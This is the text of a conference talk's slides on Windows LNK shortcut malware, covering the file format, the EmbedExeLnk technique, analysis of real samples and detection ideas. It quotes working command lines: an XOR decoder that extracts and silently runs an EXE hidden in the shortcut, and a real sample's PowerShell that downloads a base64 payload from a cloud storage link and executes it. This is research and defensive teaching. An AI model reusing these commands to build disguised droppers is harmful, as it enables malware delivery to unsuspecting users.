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WITCH WATCH 魔女守護者
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可愛捏

WITCH WATCH 魔女守護者



whoami

● 常用 ID：貝坦 betan 

● 逼夫速波一年又一個月老成員😎
● 菜
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● Motivation

● LNK file Introduction

○ structure

● EmbedExeLnk

● Malware analyze

● Conclusion

Outline
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https://app.sli.do/event/7wTjDf4UrhgpD7ZqUNSBpB

Slido
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https://app.sli.do/event/7wTjDf4UrhgpD7ZqUNSBpB


Motivation
2025 cybersce
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● 2025 CyberSec

Motivation
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● 2025 CyberSec

Motivation
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LNK file Introduction
Link Start!
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● Hidden payload inside

● First stage attack

● Connect to C2, get other files

● Use LOLBins

● Click = 💀

What’s LNK Malware Attack
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● Shell Link (.LNK) Binary File Format

● An object access another object 

● .lnk

What’s LNK File
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● Without file extension

● customize icon , name

● ez to program

WHY LNK File

13



● Without file extension

● customize icon , name

● ez to program

WHY LNK File
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Command Line Arguments:

C:\Windows\System32\cmd.exe /c 

powershell.exe wget http://localhost:80/test.txt -OutFile 

C:\Users\betan\OneDrive\桌面\LNK\hack.txt && 

C:\Users\betan\OneDrive\桌面\LNK\hack.txt



● Without file extension

● customize icon , name

● ez to program

WHY LNK File
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● Without file extension

● customize icon , name

● ez to program

WHY LNK File
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LNK Attack Example
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https://docs.google.com/file/d/1tEXNPx5iYy6dTOzQLO5yvqaWJiWV19kE/preview


● Header –> TargetIDList(optional) –> LinkInfo(optional) –> 

StringData(optional) –> ExtraData(optional)

● Little endian

[MS-SHLLINK]: Shell Link (.LNK) Binary File Format

LNK File Format
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https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943


● Header –> TargetIDList(optional) –> LinkInfo(optional) –> 

StringData(optional) –> ExtraData(optional)

● Little endian

[MS-SHLLINK]: Shell Link (.LNK) Binary File Format

LNK File Format
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https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943


● Header –> TargetIDList(optional) –> LinkInfo(optional) –> 

StringData(optional) –> ExtraData(optional)

● Little endian

[MS-SHLLINK]: Shell Link (.LNK) Binary File Format

LNK File Format
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https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943


● Header: Defining the structure

● TargetIDList(optional): use Shell Namespace to encode path

● LinkInfo(optional): VolumeID, LocalBasePath…

● StringData(optional): NAME_STRING, RELATIVE_PATH…

● ExtraData(optional): ExtraDataBlock, ExtraDataBlock…

LNK File Format
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● 76 bytes

Header
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● 76 bytes

Header
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● defines bits that 

specify which 

shell link 

structures

LinkFlags

24



● LinkFlags: 9B000800

9B000800

= 0x0008009B

= 1000 0000 0000 1001 1011 →  ['HasLinkTargetIDList', 'HasLinkInfo', 

'HasRelativePath', 'HasWorkingDir', 'IsUnicode', 'EnableTargetMetadata']

LinkFlags
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● NAME_STRING,  RELATIVE_PATH,  WORKING_DIR, 

COMMAND_LINE_ARGUMENTS,   ICON_LOCATION

● defined according to the LinkFlags

● 2 bytes Size, String (variable)

● if has IsUnicode, the length will be doubled

StringData
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● NAME_STRING: 詳細資訊內容

● RELATIVE_PATH: 目標檔案位置

● WORKING_DIR: 執行地點

● COMMAND_LINE_ARGUMENTS: 對目標的命令內容

● ICON_LOCATION: 圖示位置

StringData
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● IsUnicode, HasRelativePath, HasWorkingDir

● HasArguments

StringData

28

Command Line Arguments:

C:\Windows\System32\cmd.exe /c 

powershell.exe wget 

http://localhost:80/test.txt -OutFile 

C:\Users\betan\OneDrive\桌面

\LNK\hack.txt && 

C:\Users\betan\OneDrive\桌面

\LNK\hack.txt



: 貝坦貝坦 捷徑檔的結構確實很酷，但邊對照文件邊查找HxD

還是太麻煩了，有沒有更加簡單又方便的東西

LNK File Format
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: 貝坦貝坦 捷徑檔的結構確實很酷，但邊對照文件邊查找HxD

還是太麻煩了，有沒有更加簡單又方便的東西

LNK File Format
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有的兄弟，有的



: 貝坦貝坦 捷徑檔的結構確實很酷，但邊對照文件邊查找HxD

還是太麻煩了，有沒有更加簡單又方便的東西

LNK Structure Reader
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EmbedExeLnk
d4rkiZ/EmbedExeLnk-
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● Embed an EXE file in an LNK file

● No need to connect C2

● No "target" content 

● Fake describe

EmbedExeLnk
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● Command line arguments: 

EmbedExeLnk
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/c start notepad C:\\%%HOMEPATH%%\\AppData\\Local\\Google\\Chrome\\User 
Data\\ZxcvbnData\\3\\passwords.txt && 

powershell -windowstyle hidden 
$lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x0000FDD6} ^| 
Select-Object -ExpandProperty Name; 

$file = gc $lnkpath -Encoding Byte; 

for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; 
$path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; 
sc $path ([byte[]]($file ^| select -Skip 003030)) -Encoding Byte; ^& $path;



EmbedExeLnk - Example
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https://docs.google.com/file/d/1UY4a_WfH9wvGqT5q4v_aZexf_Niohh7F/preview


● LinkFlags

○ HasName: change describtion

○ HasArguments: set command line

○ HasIconLocation: change icon

○ IsUnicode

○ HasExpString

○ PreferEnvironmentPath

EmbedExeLnk
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EmbedExeLnk - Header
● Most of them are unimportant

● So just set them to 0
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EmbedExeLnk - StringData
● NAME_STRING  

● IsUnicode, So size need double. 0x41 *2 = 0x82
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EmbedExeLnk - StringData
● COMMAND_LINE_ARGUMENTS 
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EmbedExeLnk - StringData
● ICON_LOCATION
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EmbedExeLnk - ExtraData
● ENVIRONMENT_PROPS
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EmbedExeLnk - Exe file
● after xor 0x77
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Malware analyze
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● PuppetFox, RolandSkimmer, Confucius

○ 3d8db6e02bd11a4366b02bfb94593ff410d183a94134933121c806a5f175f8a3

○ 86fedcd08d32eeff8a4caa9c2d4ae65b6cea89698570e8ce172a4e82c7f296f1

○ 4206ab93ac9781c8367d8675292193625573c2aaacf8feeaddd5b0cc9136d2d1

● Scanned-Doc-t00778886867-QUO.LNK

○ 3107d53f9e37c496f08e3742c379976a80f7297c192aba5b8eb7c5f29af18f33
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PuppetFox, RolandSkimmer, Con...
● 2025 Cybersec

● No sample qq

● Use Virustotal to check
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How to check in VT
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How to check in VT
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How to check in VT
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How to check in VT
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Get Flag



PuppetFox
● Use LOLBins - Winrm, Msiexec

● C2 server contant a Malicious MSI file。
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RolandSkimmer
● Use LOLBins - Mshta.exe
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Confucius
● Use LOLBins - powershell.exe, fixmapi.exe

● Obfuscated payload
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Confucius
● After deobfuscation…
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Confucius
● Dll sideloading

● Use Virustotal to check
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Scanned-Doc.LNK
● Use Cloud Managed Service

● Save as program information file (PIF)
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powershell -WindowStyle hidden 

-Command 

(new-object 

System.Net.WebClient).DownloadFile(''https://link.storjshare.io/raw/jvkur67ttk7yuzdriwaa3ufnlwra/m

y-newupload/newfile.txt'',''C:\\ProgramData\\HEW.GIF'');

$file = ''C:\\ProgramData\\HEW.GIF'';

[System.Convert]::FromBase64String((Get-Content $file)) | Set-Content 

C:\\ProgramData\\CHROME.PIF -Encoding Byte; 

start C:\\ProgramData\\CHROME.PIF;'



Scanned-Doc.LNK - Variants
● Use Different Cloud Managed Services
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● Court order No.RY4577-71 (mandatory to comply).lnk

○ 4a07b3fbfd385f067e892a385d63667ba9a6d89f9d49f3736de84c94282e28e5
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Court order No.RY4577-71.lnk
● Embedziplnk
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Court order No.RY4577-71.lnk
● Embedziplnk

● Without encrypto
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Court order No.RY4577-71.lnk
● Embedziplnk

● Without encrypto
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Conclusion…
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Prevention
● Structure

○ VolumeID, CLSID

○ StringData

● Detection

○ Key word  (download, wget…)

○ File size

● Machine Learning

○ LinkFlags 62



● ㄐㄐ
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● COSCUP
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同場加映

EmbedExeLnk BUT Not EXE…?
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● Blog: 

https://betan423.github.io/posts/013_lnkresearch/

● Hackmd: 

https://hackmd.io/@betan/HJhUTwmkge

● LNK_Structure_Reader:

https://github.com/Betan423/LNK_Structure_Reader
66

https://betan423.github.io/posts/013_lnkresearch/
https://hackmd.io/@betan/HJhUTwmkge
https://github.com/Betan423/LNK_Structure_Reader


See more…?
DM me 😎
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求求多提點建議，救救菜雞貝坦
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Thanks for listening
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